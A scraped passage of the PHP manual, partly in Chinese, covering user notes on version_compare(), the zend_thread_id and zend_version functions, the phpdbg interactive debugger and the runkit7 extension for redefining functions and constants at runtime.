v1: 1.2-ios    v2: 1.2.3-and    gt: false    ge: false
v1: 2-ios    v2: 1.2.3-and    gt: true    ge: true
v1: 1.2.3-alpha    v2: 1.2.3-beta    gt: false    ge: false
v1: 1.2.3-beta    v2: 1.2.3-alpha    gt: true    ge: true
v1: 1-gamma    v2: 1.2.3-beta    gt: true    ge: true
v1: 1-alpha    v2: 1.2.3-beta    gt: false    ge: false
*/
Bob Ray 29-Oct-2015 11:07
Note that both leading and trailing spaces on your version numbers can break version_compare().

Tested on PHP 5.6.8:
 <?php
 echo  "\nShould be 0";
echo "\n '1.0.0-pl' vs. '1.0.0-pl'  ---> " . version_compare('1.0.0-pl', '1.0.0-pl');
echo "\n '1.0.0-pl' vs. ' 1.0.0-pl' ---> " . version_compare('1.0.0-pl', ' 1.0.0-pl');
echo "\n ' 1.0.0-pl' vs. '1.0.0-pl' ---> " . version_compare(' 1.0.0-pl', '1.0.0-pl');
echo "\n '1.0.0-pl' vs. '1.0.0-pl ' ---> " . version_compare('1.0.0-pl', '1.0.0-pl ');
echo "\n '1.0.0-pl ' vs. '1.0.0-pl' ---> " . version_compare('1.0.0-pl ', '1.0.0-pl');

echo "\n\nShould be 1";
echo "\n '1.1.1-pl' vs. '1.0.0-pl'  ---> " . version_compare('1.1.1-pl', '1.0.0-pl');
echo "\n ' 1.1.1-pl' vs. '1.0.0-pl' ---> " . version_compare(' 1.1.1-pl', '1.0.0-pl');

echo "\n\nShould be -1";
echo "\n '1.0.0-pl' vs. '1.1.1-pl'  ---> " . version_compare('1.0.0-pl', '1.1.1-pl');
echo "\n '1.0.0-pl' vs. ' 1.1.1-pl' ---> " . version_compare('1.0.0-pl', ' 1.1.1-pl');

    /* Output
Should be 0
 '1.0.0-pl' vs. '1.0.0-pl'  ---> 0
 '1.0.0-pl' vs. ' 1.0.0-pl' ---> 1
 ' 1.0.0-pl' vs. '1.0.0-pl' ---> -1
 '1.0.0-pl' vs. '1.0.0-pl ' ---> 1
 '1.0.0-pl ' vs. '1.0.0-pl' ---> -1

Should be 1
 '1.1.1-pl' vs. '1.0.0-pl'  ---> 1
 ' 1.1.1-pl' vs. '1.0.0-pl' ---> -1

Should be -1
 '1.0.0-pl' vs. '1.1.1-pl'  ---> -1
 '1.0.0-pl' vs. ' 1.1.1-pl' ---> 1
    */
mindplay.dk 21-Jul-2012 03:10
This little script can perhaps help you understand version comparison a little better - the output is displayed in the comment at the top. Tweak the list of versions if you need more examples...

<?php

#      1 lt 1.0
#    1.0 lt 1.01
#   1.01 eq 1.1
#    1.1 lt 1.10
#   1.10 gt 1.10b
#  1.10b lt 1.10.0

header('Content-type: text/plain');

$versions = array(
  '1',
  '1.0',
  '1.01',
  '1.1',
  '1.10',
  '1.10b',
  '1.10.0',
);

$comps = array(
 -1 => 'lt',
  0 => 'eq',
  1 => 'gt'
);

foreach ($versions as $version) {
  if (isset($last)) {
    $comp = version_compare($last, $version);
    echo str_pad($last,8,' ',STR_PAD_LEFT) . " {$comps[$comp]} {$version}\n";
  }
  $last = $version;
}

?>
rogier 30-Nov-2011 08:43
Please note that supplying an operator that is not listed (e.g. ===), this function returns NULL instead of false.

Tested on PHP5.3.0, Win32
insid0r at yahoo dot com 06-Mar-2009 01:05
Since this function considers 1 < 1.0 < 1.0.0, others might find this function useful (which considers 1 == 1.0):

<?php
//Compare two sets of versions, where major/minor/etc. releases are separated by dots.
//Returns 0 if both are equal, 1 if A > B, and -1 if B < A.
function version_compare2($a, $b)
{
    $a = explode(".", rtrim($a, ".0")); //Split version into pieces and remove trailing .0
    $b = explode(".", rtrim($b, ".0")); //Split version into pieces and remove trailing .0
    foreach ($a as $depth => $aVal)
    { //Iterate over each piece of A
        if (isset($b[$depth]))
        { //If B matches A to this depth, compare the values
            if ($aVal > $b[$depth]) return 1; //Return A > B
            else if ($aVal < $b[$depth]) return -1; //Return B > A
            //An equal result is inconclusive at this point
        }
        else
        { //If B does not match A to this depth, then A comes after B in sort order
            return 1; //so return A > B
        }
    }
    //At this point, we know that to the depth that A and B extend to, they are equivalent.
    //Either the loop ended because A is shorter than B, or both are equal.
    return (count($a) < count($b)) ? -1 : 0;
}
?>
opendb at iamvegan dot net 10-Jun-2007 05:01
Something that may trip some folks up, but is useful to mention is that the following version comparison does not work quite as I expected:
    version_compare('1.0.1', '1.0pl1', '>')

However, its quite easy to get working:
    version_compare('1.0.1', '1.0.0pl1', '>')
arnoud at procurios dot nl 29-Sep-2004 02:28
If you're careful, this function actualy works quite nicely for comparing version numbers from programs other than PHP itself. I've used it to compare MySQL version numbers. The only issue is that version_compare doesn't recognize the 'gamma' addition that mysql uses as being later than 'alpha' or 'beta', because the latter two are treated specially. If you keep this in mind though, you should have no problems.
eric at themepark dot com 21-Jun-2004 09:50
[editors note]
snipbit fixed after comment from Matt Mullenweg

--jm
[/editors note]

so in a nutshell... I believe it works best like this:

<?php
if (version_compare(phpversion(), "4.3.0", ">=")) {
  // you're on 4.3.0 or later
} else {
  // you're not
}
?>
sam at wyvern dot non-spammers-remove dot com dot au 23-May-2004 11:18
Actually, it works to any degree:

<?php
version_compare('1.2.3.4RC7.7', '1.2.3.4RC7.8')
version_compare('8.2.50.4', '8.2.52.6')
?>

will both give -1 (ie the left is lower than the right).


返回当前线程的唯一识别符

  • ? version_compare
  • zend_version ?
  • PHP Manual
  • PHP 选项/信息 函数
  • 返回当前线程的唯一识别符

zend_thread_id

(PHP 5, PHP 7, PHP 8)

zend_thread_id — 返回当前线程的唯一识别符

说明

zend_thread_id(): int

该函数返回当前线程的唯一识别符。

参数

此函数没有参数。

返回值

以整型（integer）返回线程的 ID。

示例

Example #1 zend_thread_id() 示例

<?php
$thread_id = zend_thread_id();

echo 'Current thread id is: ' . $thread_id;
?>

以上示例的输出类似于：

Current thread id is: 7864

注释

Note:

该函数仅在以下情况有效：PHP 内置 ZTS（Zend 线程安全）的支持， 并开启调试模式（--enable-debug）时。

User Contributed Notes

There are no user contributed notes for this page.


获取当前 Zend 引擎的版本

  • ? zend_thread_id
  • phpdbg ?
  • PHP Manual
  • PHP 选项/信息 函数
  • 获取当前 Zend 引擎的版本

zend_version

(PHP 4, PHP 5, PHP 7, PHP 8)

zend_version — 获取当前 Zend 引擎的版本

说明

zend_version(): string

获取当前运行的 Zend 引擎的版本字符串。

参数

此函数没有参数。

返回值

获取 Zend 引擎的版本数字的字符串。

示例

Example #1 zend_version() 示例

<?php
echo "Zend engine version: " . zend_version();
?>

以上示例的输出类似于：

Zend engine version: 2.2.0

参见

  • phpinfo() - 输出关于 PHP 配置的信息
  • phpcredits() - 打印 PHP 贡献者名单
  • phpversion() - 获取当前的PHP版本

User Contributed Notes

There are no user contributed notes for this page.


Interactive PHP Debugger

  • 简介
  • 安装/配置
    • 运行时配置
  • 预定义常量
  • phpdbg 函数
    • phpdbg_break_file — Inserts a breakpoint at a line in a file
    • phpdbg_break_function — Inserts a breakpoint at entry to a function
    • phpdbg_break_method — Inserts a breakpoint at entry to a method
    • phpdbg_break_next — Inserts a breakpoint at the next opcode
    • phpdbg_clear — Clears all breakpoints
    • phpdbg_color — Sets the color of certain elements
    • phpdbg_end_oplog — 说明
    • phpdbg_exec — Attempts to set the execution context
    • phpdbg_get_executable — 说明
    • phpdbg_prompt — Sets the command prompt
    • phpdbg_start_oplog — 说明

User Contributed Notes

There are no user contributed notes for this page.


简介

Implemented as a SAPI module, phpdbg can exert complete control over the environment without impacting the functionality or performance of your code.

phpdbg aims to be a lightweight, powerful, easy to use debugging platform for PHP. It offers the following features:

  • Step-Through Debugging
  • Flexible Breakpoints (Class Method, Function, File:Line, Address, Opcode)
  • Easy Access to PHP with built-in eval()
  • Userland API
  • SAPI Agnostic - Easily Integrated
  • PHP Configuration File Support
  • JIT Super Globals - Set Your Own !!
  • Optional readline Support - Comfortable Terminal Operation
  • Easy Operation - See Help :)

Command line options
Option | Example Argument | Description
-c | -c/my/php.ini | Set php.ini file to load
-d | -dmemory_limit=4G | Set a php.ini directive
-n |  | Disable default php.ini
-q |  | Suppress welcome banner
-v |  | Enable oplog output
-b |  | Disable color
-i | -imy.init | Set .phpdbginit file
-I |  | Ignore default .phpdbginit
-O | -Omy.oplog | Set oplog output file
-r |  | Run execution context
-rr |  | Run execution context and quit after execution (not respecting breakpoints)
-e |  | Generate extended information for debugger/profiler
-E |  | Enable step through eval, careful!
-s | -s=, -s=foo | Read code to execute from stdin with an optional delimiter
-S | -Scli | Override SAPI name, careful!
-l | -l4000 | Setup remote console ports
-a | -a192.168.0.3 | Setup remote console bind address
-x |  | Enable xml output (instead of normal text output)
-p | -p, -p=func, -p* | Output opcodes and quit
-h |  | Print the help overview
-V |  | Print version number
-- | -- arg1 arg2 | Use to delimit phpdbg arguments and php $argv; append any $argv argument after it

User Contributed Notes

There are no user contributed notes for this page.


安装/配置

Table of Contents

  • 运行时配置

User Contributed Notes

There are no user contributed notes for this page.


运行时配置

这些函数的行为受 php.ini 中的设置影响。

phpdbg 配置选项
名字 | 默认 | 可修改范围 | 更新日志
phpdbg.eol | 2 | PHP_INI_ALL | Removed as of PHP 8.1.0
phpdbg.path |  | 6 | Removed as of PHP 8.1.0

这是配置指令的简短说明。

phpdbg.eol mixed

The kind of line ending to use for output. For setting the value, one of the string aliases must be used.

int Value | string Alias
0 | CRLF, crlf, DOS, dos
1 | LF, lf, UNIX, unix
2 | CR, cr, MAC, mac

phpdbg.path string

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

PHPDBG_VERSION (string)
PHPDBG_FILE (int)
Removed as of PHP 7.3.0.
PHPDBG_METHOD (int)
Removed as of PHP 7.3.0.
PHPDBG_LINENO (int)
Removed as of PHP 7.3.0.
PHPDBG_FUNC (int)
Removed as of PHP 7.3.0.
PHPDBG_COLOR_PROMPT (int)
PHPDBG_COLOR_NOTICE (int)
PHPDBG_COLOR_ERROR (int)

User Contributed Notes

There are no user contributed notes for this page.


phpdbg 函数

Table of Contents

  • phpdbg_break_file — Inserts a breakpoint at a line in a file
  • phpdbg_break_function — Inserts a breakpoint at entry to a function
  • phpdbg_break_method — Inserts a breakpoint at entry to a method
  • phpdbg_break_next — Inserts a breakpoint at the next opcode
  • phpdbg_clear — Clears all breakpoints
  • phpdbg_color — Sets the color of certain elements
  • phpdbg_end_oplog — 说明
  • phpdbg_exec — Attempts to set the execution context
  • phpdbg_get_executable — 说明
  • phpdbg_prompt — Sets the command prompt
  • phpdbg_start_oplog — 说明

User Contributed Notes

There are no user contributed notes for this page.


Inserts a breakpoint at a line in a file

  • ? phpdbg 函数
  • phpdbg_break_function ?
  • PHP Manual
  • phpdbg 函数
  • Inserts a breakpoint at a line in a file

phpdbg_break_file

(PHP 5 >= 5.6.3, PHP 7, PHP 8)

phpdbg_break_file — Inserts a breakpoint at a line in a file

说明

phpdbg_break_file(string $file, int $line): void

Insert a breakpoint at the given line in the given file.

参数

file

The name of the file.

line

The line number.

返回值

没有返回值。

参见

  • phpdbg_break_function() - Inserts a breakpoint at entry to a function
  • phpdbg_break_method() - Inserts a breakpoint at entry to a method
  • phpdbg_break_next() - Inserts a breakpoint at the next opcode
  • phpdbg_clear() - Clears all breakpoints

User Contributed Notes

Jeff B. Carter 23-Dec-2022 03:34
Here is an example of how to programmatically add a breakpoint based on a condition:

<?php
$blah = 'meh';
if ($blah !== 'blah') {
    phpdbg_break_file('blah.php', 6);
}
$blah = 'blah';
echo $blah;
?>

OUTPUT when running the debugger (using ev to evaluate the value of $blah after each step):

C:\path\to\dir>phpdbg -e blah.php
[Welcome to phpdbg, the interactive PHP debugger, v8.1.6]
To get help using phpdbg type "help" and press enter
[Please report bugs to <http://bugs.php.net/report.php>]
[Successful compilation of C:\path\to\dir\blah.php]
prompt> run
[Breakpoint #0 added at C:\path\to\dir\blah.php:6]
[Breakpoint #0 at C:\path\to\dir\blah.php:6, hits: 1]
>00006: $blah = 'blah';
 00007: echo $blah;
 00008: ?>
prompt> ev $blah
meh
prompt> step
>00007: echo $blah;
 00008: ?>
prompt> ev $blah
blah
prompt> step
blah>00008: ?>
prompt> step
[Script ended normally]


Inserts a breakpoint at entry to a function

  • ? phpdbg_break_file
  • phpdbg_break_method ?
  • PHP Manual
  • phpdbg 函数
  • Inserts a breakpoint at entry to a function

phpdbg_break_function

(PHP 5 >= 5.6.3, PHP 7, PHP 8)

phpdbg_break_function — Inserts a breakpoint at entry to a function

说明

phpdbg_break_function(string $function): void

Insert a breakpoint at the entry to the given function.

参数

function

The name of the function.

返回值

没有返回值。

参见

  • phpdbg_break_file() - Inserts a breakpoint at a line in a file
  • phpdbg_break_method() - Inserts a breakpoint at entry to a method
  • phpdbg_break_next() - Inserts a breakpoint at the next opcode
  • phpdbg_clear() - Clears all breakpoints

User Contributed Notes

There are no user contributed notes for this page.


Inserts a breakpoint at entry to a method

  • ? phpdbg_break_function
  • phpdbg_break_next ?
  • PHP Manual
  • phpdbg 函数
  • Inserts a breakpoint at entry to a method

phpdbg_break_method

(PHP 5 >= 5.6.3, PHP 7, PHP 8)

phpdbg_break_method — Inserts a breakpoint at entry to a method

说明

phpdbg_break_method(string $class, string $method): void

Insert a breakpoint at the entry to the given method of the given class.

参数

class

The name of the class.

method

The name of the method.

返回值

没有返回值。

参见

  • phpdbg_break_file() - Inserts a breakpoint at a line in a file
  • phpdbg_break_function() - Inserts a breakpoint at entry to a function
  • phpdbg_break_next() - Inserts a breakpoint at the next opcode
  • phpdbg_clear() - Clears all breakpoints

User Contributed Notes

There are no user contributed notes for this page.


Inserts a breakpoint at the next opcode

  • ? phpdbg_break_method
  • phpdbg_clear ?
  • PHP Manual
  • phpdbg 函数
  • Inserts a breakpoint at the next opcode

phpdbg_break_next

(PHP 5 >= 5.6.3, PHP 7, PHP 8)

phpdbg_break_next — Inserts a breakpoint at the next opcode

说明

phpdbg_break_next(): void

Insert a breakpoint at the next opcode.

参数

此函数没有参数。

返回值

没有返回值。

参见

  • phpdbg_break_file() - Inserts a breakpoint at a line in a file
  • phpdbg_break_function() - Inserts a breakpoint at entry to a function
  • phpdbg_break_method() - Inserts a breakpoint at entry to a method
  • phpdbg_clear() - Clears all breakpoints

User Contributed Notes

There are no user contributed notes for this page.


Clears all breakpoints

  • ? phpdbg_break_next
  • phpdbg_color ?
  • PHP Manual
  • phpdbg 函数
  • Clears all breakpoints

phpdbg_clear

(PHP 5 >= 5.6.0, PHP 7, PHP 8)

phpdbg_clear — Clears all breakpoints

说明

phpdbg_clear(): void

Clear all breakpoints that have been set, either via one of the phpdbg_break_*() functions or interactively in the console.

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

没有返回值。

参见

  • phpdbg_break_file() - Inserts a breakpoint at a line in a file
  • phpdbg_break_function() - Inserts a breakpoint at entry to a function
  • phpdbg_break_method() - Inserts a breakpoint at entry to a method
  • phpdbg_break_next() - Inserts a breakpoint at the next opcode

User Contributed Notes

There are no user contributed notes for this page.


Sets the color of certain elements

  • ? phpdbg_clear
  • phpdbg_end_oplog ?
  • PHP Manual
  • phpdbg 函数
  • Sets the color of certain elements

phpdbg_color

(PHP 5 >= 5.6.0, PHP 7, PHP 8)

phpdbg_color — Sets the color of certain elements

说明

phpdbg_color(int $element, string $color): void

Set the color of the given element.

参数

element

One of the PHPDBG_COLOR_* constants.

color

The name of the color. One of white, red, green, yellow, blue, purple, cyan or black, optionally with either a trailing -bold or -underline, for instance, white-bold or green-underline.

返回值

没有返回值。

参见

  • phpdbg_prompt() - Sets the command prompt

User Contributed Notes

There are no user contributed notes for this page.


说明

  • ? phpdbg_color
  • phpdbg_exec ?
  • PHP Manual
  • phpdbg 函数
  • 说明

phpdbg_end_oplog

(PHP 7, PHP 8)

phpdbg_end_oplog —

说明

phpdbg_end_oplog(array $options = []): ?array

Warning

本函数还未编写文档，仅有参数列表。

参数

options

返回值

User Contributed Notes

There are no user contributed notes for this page.


Attempts to set the execution context

  • ? phpdbg_end_oplog
  • phpdbg_get_executable ?
  • PHP Manual
  • phpdbg 函数
  • Attempts to set the execution context

phpdbg_exec

(PHP 5 >= 5.6.0, PHP 7, PHP 8)

phpdbg_exec — Attempts to set the execution context

说明

phpdbg_exec(string $context): string|bool

Warning

本函数还未编写文档，仅有参数列表。

参数

context

返回值

If the execution context was set previously it is returned. If the execution context was not set previously true is returned. If the request to set the context fails, false is returned, and an E_WARNING raised.

User Contributed Notes

There are no user contributed notes for this page.


说明

  • ? phpdbg_exec
  • phpdbg_prompt ?
  • PHP Manual
  • phpdbg 函数
  • 说明

phpdbg_get_executable

(PHP 7, PHP 8)

phpdbg_get_executable —

说明

phpdbg_get_executable(array $options = []): array

Warning

本函数还未编写文档，仅有参数列表。

参数

options

返回值

User Contributed Notes

There are no user contributed notes for this page.


Sets the command prompt

  • ? phpdbg_get_executable
  • phpdbg_start_oplog ?
  • PHP Manual
  • phpdbg 函数
  • Sets the command prompt

phpdbg_prompt

(PHP 5 >= 5.6.0, PHP 7, PHP 8)

phpdbg_prompt — Sets the command prompt

说明

phpdbg_prompt(string $string): void

Set the command prompt to the given string.

参数

string

The string to use as command prompt.

返回值

没有返回值。

参见

  • phpdbg_color() - Sets the color of certain elements

User Contributed Notes

There are no user contributed notes for this page.


说明

  • ? phpdbg_prompt
  • runkit7 ?
  • PHP Manual
  • phpdbg 函数
  • 说明

phpdbg_start_oplog

(PHP 7, PHP 8)

phpdbg_start_oplog —

说明

phpdbg_start_oplog(): void

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


runkit7

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • runkit7 函数
    • runkit7_constant_add — Similar to define(), but allows defining in class definitions as well
    • runkit7_constant_redefine — Redefine an already defined constant
    • runkit7_constant_remove — Remove/Delete an already defined constant
    • runkit7_function_add — Add a new function, similar to create_function
    • runkit7_function_copy — Copy a function to a new function name
    • runkit7_function_redefine — Replace a function definition with a new implementation
    • runkit7_function_remove — Remove a function definition
    • runkit7_function_rename — Change a function's name
    • runkit7_import — Process a PHP file importing function and class definitions, overwriting where appropriate
    • runkit7_method_add — Dynamically adds a new method to a given class
    • runkit7_method_copy — Copies a method from class to another
    • runkit7_method_redefine — Dynamically changes the code of the given method
    • runkit7_method_remove — Dynamically removes the given method
    • runkit7_method_rename — Dynamically changes the name of the given method
    • runkit7_object_id — Return the integer object handle for given object
    • runkit7_superglobals — Return numerically indexed array of registered superglobals
    • runkit7_zval_inspect — Returns information about the passed in value with data types, reference counts, etc

User Contributed Notes

There are no user contributed notes for this page.


简介

The runkit7 extension provides means to modify constants, user-defined functions, and user-defined classes. It also provides for custom superglobal variables.

This package is a fork of the » runkit package providing PHP 7 support.

User Contributed Notes

There are no user contributed notes for this page.


需求

Modifying Constants, Functions, Classes, and Methods as well as Custom Superglobals works with all releases of PHP 7. No special requirements are necessary.

User Contributed Notes

There are no user contributed notes for this page.


安装

此 » PECL 扩展未与 PHP 捆绑。

安装此 PECL 扩展相关的信息可在手册中标题为 PECL 扩展的安装章节中找到。更多信息如新的发行版本、下载、源文件、 维护人员信息及变更日志等，都在此处： » https://pecl.php.net/package/runkit7.

此扩展在 Windows 平台的二进制扩展 (DLL 文件) PECL 可以在 PECL 官方网站上下载。

User Contributed Notes

There are no user contributed notes for this page.


运行时配置

这些函数的行为受 php.ini 中的设置影响。

Runkit Configuration Options
名字 | 默认 | 可修改范围 | 更新日志
runkit.superglobal | "" | PHP_INI_PERDIR |
runkit.internal_override | "0" | PHP_INI_SYSTEM |
有关 PHP_INI_* 样式的更多详情与定义，见 配置可被设定范围。

这是配置指令的简短说明。

runkit.superglobal string
Comma-separated list of variable names to be treated as superglobals. This value should be set in the systemwide php.ini file, but may work in perdir configuration contexts depending on your SAPI.

Example #1 Custom Superglobals with runkit.superglobal=_FOO,_BAR in php.ini

<?php
function show_values() {
echo "Foo is $_FOO\n";
echo "Bar is $_BAR\n";
echo "Baz is $_BAZ\n";
}

$_FOO = 'foo';
$_BAR = 'bar';
$_BAZ = 'baz';

/* Displays foo and bar, but not baz */
show_values();
?>
runkit.internal_override bool
Enables ability to modify/rename/remove internal functions.

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

RUNKIT7_IMPORT_FUNCTIONS (int)
runkit7_import() flag indicating that normal functions should be imported from the specified file.
RUNKIT7_IMPORT_CLASS_METHODS (int)
runkit7_import() flag indicating that class methods should be imported from the specified file.
RUNKIT7_IMPORT_CLASS_CONSTS (int)
runkit7_import() flag indicating that class constants should be imported from the specified file.
RUNKIT7_IMPORT_CLASS_PROPS (int)
runkit7_import() flag indicating that class standard properties should be imported from the specified file.
RUNKIT7_IMPORT_CLASS_STATIC_PROPS (int)
runkit7_import() flag indicating that class static properties should be imported from the specified file. Available since Runkit 1.0.1.
RUNKIT7_IMPORT_CLASSES (int)
runkit7_import() flag representing a bitwise OR of the RUNKIT7_IMPORT_CLASS_* constants.
RUNKIT7_IMPORT_OVERRIDE (int)
runkit7_import() flag indicating that if any of the imported functions, methods, constants, or properties already exist, they should be replaced with the new definitions. If this flag is not set, then any imported definitions which already exist will be discarded.
RUNKIT7_ACC_RETURN_REFERENCE (int)
Include this flag to make the function or method being created or redeclared return a reference.
RUNKIT7_ACC_PUBLIC (int)
Flag for runkit7_method_add() and runkit7_method_redefine() to make the method public.
RUNKIT7_ACC_PROTECTED (int)
Flag for runkit7_method_add() and runkit7_method_redefine() to make the method protected.
RUNKIT7_ACC_PRIVATE (int)
Flag for runkit7_method_add() and runkit7_method_redefine() to make the method private.
RUNKIT7_ACC_STATIC (int)
Flag for runkit7_method_add() and runkit7_method_redefine() to make the method static.
RUNKIT7_FEATURE_MANIPULATION (int)
Equal to 1 if runtime manipulation is enabled, and 0 otherwise.
RUNKIT7_FEATURE_SUPERGLOBALS (int)
Equal to 1 if custom superglobals are enabled, and 0 otherwise.
RUNKIT7_FEATURE_SANDBOX (int)
Always 0, it's impractical to implement the sandbox feature in php 7.

User Contributed Notes

There are no user contributed notes for this page.


runkit7 函数

Table of Contents

  • runkit7_constant_add — Similar to define(), but allows defining in class definitions as well
  • runkit7_constant_redefine — Redefine an already defined constant
  • runkit7_constant_remove — Remove/Delete an already defined constant
  • runkit7_function_add — Add a new function, similar to create_function
  • runkit7_function_copy — Copy a function to a new function name
  • runkit7_function_redefine — Replace a function definition with a new implementation
  • runkit7_function_remove — Remove a function definition
  • runkit7_function_rename — Change a function's name
  • runkit7_import — Process a PHP file importing function and class definitions, overwriting where appropriate
  • runkit7_method_add — Dynamically adds a new method to a given class
  • runkit7_method_copy — Copies a method from class to another
  • runkit7_method_redefine — Dynamically changes the code of the given method
  • runkit7_method_remove — Dynamically removes the given method
  • runkit7_method_rename — Dynamically changes the name of the given method
  • runkit7_object_id — Return the integer object handle for given object
  • runkit7_superglobals — Return numerically indexed array of registered superglobals
  • runkit7_zval_inspect — Returns information about the passed in value with data types, reference counts, etc

User Contributed Notes

There are no user contributed notes for this page.


Similar to define(), but allows defining in class definitions as well

  • ? runkit7 函数
  • runkit7_constant_redefine ?
  • PHP Manual
  • runkit7 函数
  • Similar to define(), but allows defining in class definitions as well

runkit7_constant_add

(PECL runkit7 >= Unknown)

runkit7_constant_add — Similar to define(), but allows defining in class definitions as well

说明

runkit7_constant_add(string $constant_name, mixed $value, int $newVisibility = ?): bool

参数

constant_name

Name of constant to declare. Either a string to indicate a global constant, or classname::constname to indicate a class constant.

value

NULL, Bool, Long, Double, String, Array, or Resource value to store in the new constant.

newVisibility

Visibility of the constant, for class constants. Public by default. One of the RUNKIT7_ACC_* constants.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • define() - 定义一个常量
  • runkit7_constant_redefine() - Redefine an already defined constant
  • runkit7_constant_remove() - Remove/Delete an already defined constant

User Contributed Notes

There are no user contributed notes for this page.


Redefine an already defined constant

  • ? runkit7_constant_add
  • runkit7_constant_remove ?
  • PHP Manual
  • runkit7 函数
  • Redefine an already defined constant

runkit7_constant_redefine

(PECL runkit7 >= Unknown)

runkit7_constant_redefine — Redefine an already defined constant

说明

runkit7_constant_redefine(string $constant_name, mixed $value, int $new_visibility = ?): bool

参数

constant_name

Constant to redefine. Either the name of a global constant, or classname::constname indicating class constant.

value

Value to assign to the constant.

new_visibility

The new visibility of the constant, for class constants. Unchanged by default. One of the RUNKIT7_ACC_* constants.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • runkit7_constant_add() - Similar to define(), but allows defining in class definitions as well
  • runkit7_constant_remove() - Remove/Delete an already defined constant

User Contributed Notes

There are no user contributed notes for this page.


Remove/Delete an already defined constant

  • ? runkit7_constant_redefine
  • runkit7_function_add ?
  • PHP Manual
  • runkit7 函数
  • Remove/Delete an already defined constant

runkit7_constant_remove

(PECL runkit7 >= Unknown)

runkit7_constant_remove — Remove/Delete an already defined constant

说明

runkit7_constant_remove(string $constant_name): bool

参数

constant_name

Name of the constant to remove. Either the name of a global constant, or classname::constname indicating a class constant.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • define() - 定义一个常量
  • runkit7_constant_add() - Similar to define(), but allows defining in class definitions as well
  • runkit7_constant_redefine() - Redefine an already defined constant

User Contributed Notes

There are no user contributed notes for this page.


Add a new function, similar to create_function

  • ? runkit7_constant_remove
  • runkit7_function_copy ?
  • PHP Manual
  • runkit7 函数
  • Add a new function, similar to create_function

runkit7_function_add

(PECL runkit7 >= Unknown)

runkit7_function_add — Add a new function, similar to create_function()

说明

runkit7_function_add(
string $function_name,
string $argument_list,
string $code,
bool $return_by_reference = null,
string $doc_comment = null,
string $return_type = ?,
bool $is_strict = ?
): bool
runkit7_function_add(
string $function_name,
Closure $closure,
string $doc_comment = null,
string $return_type = ?,
bool $is_strict = ?
): bool

参数

function_name

Name of the function to be created

argument_list

Comma separated argument list

code

Code making up the function

closure

A closure that defines the function.

return_by_reference

Whether the function should return by reference.

doc_comment

The doc comment of the function.

return_type

The return type of the function.

is_strict

Whether the function should behave as if it were declared in a file with strict_types=1

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 A runkit7_function_add() example

<?php
runkit7_function_add('testme','$a,$b','echo "The value of a is $a\n"; echo "The value of b is $b\n";');
testme(1,2);
?>

以上示例会输出：

The value of a is 1
The value of b is 2

参见

  • create_function() - 通过执行代码字符串创建动态函数
  • runkit7_function_redefine() - Replace a function definition with a new implementation
  • runkit7_function_copy() - Copy a function to a new function name
  • runkit7_function_rename() - Change a function's name
  • runkit7_function_remove() - Remove a function definition
  • runkit7_method_add() - Dynamically adds a new method to a given class

User Contributed Notes

There are no user contributed notes for this page.


Copy a function to a new function name

  • ? runkit7_function_add
  • runkit7_function_redefine ?
  • PHP Manual
  • runkit7 函数
  • Copy a function to a new function name

runkit7_function_copy

(PECL runkit7 >= Unknown)

runkit7_function_copy — Copy a function to a new function name

说明

runkit7_function_copy(string $source_name, string $target_name): bool

参数

source_name

Name of the existing function

target_name

Name of the new function to copy the definition to

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 A runkit7_function_copy() example

<?php
function original() {
echo "In a function\n";
}
runkit7_function_copy('original','duplicate');
original();
duplicate();
?>

以上示例会输出：

In a function
In a function

参见

  • runkit7_function_add() - Add a new function, similar to create_function
  • runkit7_function_redefine() - Replace a function definition with a new implementation
  • runkit7_function_rename() - Change a function's name
  • runkit7_function_remove() - Remove a function definition

User Contributed Notes

There are no user contributed notes for this page.


Replace a function definition with a new implementation

  • ? runkit7_function_copy
  • runkit7_function_remove ?
  • PHP Manual
  • runkit7 函数
  • Replace a function definition with a new implementation

runkit7_function_redefine

(PECL runkit7 >= Unknown)

runkit7_function_redefine — Replace a function definition with a new implementation

说明

runkit7_function_redefine(
string $function_name,
string $argument_list,
string $code,
bool $return_by_reference = null,
string $doc_comment = null,
string $return_type = ?,
bool $is_strict = ?
): bool
runkit7_function_redefine(
string $function_name,
Closure $closure,
string $doc_comment = null,
string $return_type = ?,
bool $is_strict = ?
): bool

Note: 默认情况下，仅在用户空间可删除，重命名，或者修改函数。为了覆盖内部函数，必须启用 php.ini 中的 runkit.internal_override 设置。

参数

function_name

Name of function to redefine

argument_list

New list of arguments to be accepted by function

code

New code implementation

closure

A closure that defines the function.

return_by_reference

Whether the function should return by reference.

doc_comment

The doc comment of the function.

return_type

The return type of the function.

is_strict

Whether the function behaves as if it was declared in a file with strict_types=1

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 A runkit7_function_redefine() example

<?php
function testme() {
echo "Original Testme Implementation\n";
}
testme();
runkit7_function_redefine('testme','','echo "New Testme Implementation\n";');
testme();
?>

以上示例会输出：

Original Testme Implementation
New Testme Implementation

参见

  • runkit7_function_add() - Add a new function, similar to create_function
  • runkit7_function_copy() - Copy a function to a new function name
  • runkit7_function_rename() - Change a function's name
  • runkit7_function_remove() - Remove a function definition
  • runkit7_method_redefine() - Dynamically changes the code of the given method

User Contributed Notes

There are no user contributed notes for this page.


Remove a function definition

  • ? runkit7_function_redefine
  • runkit7_function_rename ?
  • PHP Manual
  • runkit7 函数
  • Remove a function definition

runkit7_function_remove

(PECL runkit7 >= Unknown)

runkit7_function_remove — Remove a function definition

说明

runkit7_function_remove(string $function_name): bool

Note: 默认情况下，仅在用户空间可删除，重命名，或者修改函数。为了覆盖内部函数，必须启用 php.ini 中的 runkit.internal_override 设置。

参数

function_name

Name of the function to be deleted

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • runkit7_function_add() - Add a new function, similar to create_function
